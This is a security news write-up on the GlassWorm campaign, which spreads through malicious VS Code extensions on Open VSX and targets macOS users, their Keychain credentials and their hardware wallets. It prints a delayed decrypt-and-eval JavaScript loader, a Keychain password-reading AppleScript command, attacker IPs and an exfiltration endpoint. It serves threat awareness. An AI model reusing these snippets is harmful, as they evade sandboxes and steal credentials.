Self-Propagating GlassWorm Weaponizing VS Code Extensions to Attack macOS Users
The latest GlassWorm malware wave has shifted its focus from Windows to macOS systems. Distributed via malicious VS Code extensions on the Open VSX marketplace, it has been downloaded over 50,000 times.
The latest GlassWorm malware wave has shifted its focus from Windows to macOS systems. Distributed via malicious VS Code extensions on the Open VSX marketplace, it has been downloaded over 50,000 times.
The new iteration introduces encrypted payloads, hardware wallet trojanization capabilities, and advanced sandbox evasion techniques. These updates enhance its ability to bypass traditional security scanning tools.
Previous versions utilized invisible Unicode characters and Rust binaries to conceal malicious activities. The current version employs AES-256-CBC encrypted JavaScript payloads specifically designed for macOS.
Three extensions have been flagged on the Open VSX marketplace: pro-svelte-extension, vsce-prettier-pro, and full-access-catppuccin-pro-extension. They share infrastructure and encryption keys, indicating a common origin.
The malware uses a Solana blockchain-based command and control system, making it resilient to takedown efforts through traditional domain blocking.
The latest GlassWorm malware wave has shifted its focus from Windows to macOS systems.
Researchers traced the threat actor's infrastructure to IP address 45.32.151.157, confirming its involvement in previous campaigns. The malware was identified through behavioral analysis after detecting unusual patterns in extension behavior and network communications.
Encrypted Payload and Sandbox Evasion Tactics
The malware employs a 15-minute delay before executing its payload, exploiting the typical 5-minute timeout of sandbox environments to avoid detection. The payload is encrypted with AES-256-CBC, using a hardcoded key and initialization vector shared across all malicious extensions.
setTimeout(() => { const decrypted = crypto.createDecipheriv('aes-256-cbc', key, iv); let payload = decrypted.update(encryptedData, 'base64', 'utf8'); payload += decrypted.final('utf8'); eval(payload); }, 9e5);
After the delay, the malware retrieves its command-and-control endpoint from the Solana blockchain, executing the received instructions. The macOS-specific payload uses AppleScript for stealth, LaunchAgents for persistence, and accesses the macOS Keychain for stored credentials.
set keychainPassword to do shell script "security find-generic-password -s 'password_service' -w"
The malware can replace hardware wallet applications with trojanized versions, targeting Ledger Live and Trezor Suite. Though not fully active as of testing on Dec 29, 2025, the infrastructure is complete and ready for payload deployment.
It ensures downloaded files exceed 1000 bytes to prevent broken installations, staging stolen data in /tmp/ijewf/, compressing it, and sending it to an exfiltration server at 45.32.150.251/p2p for retrieval.
Based on reporting by Cyber Security News.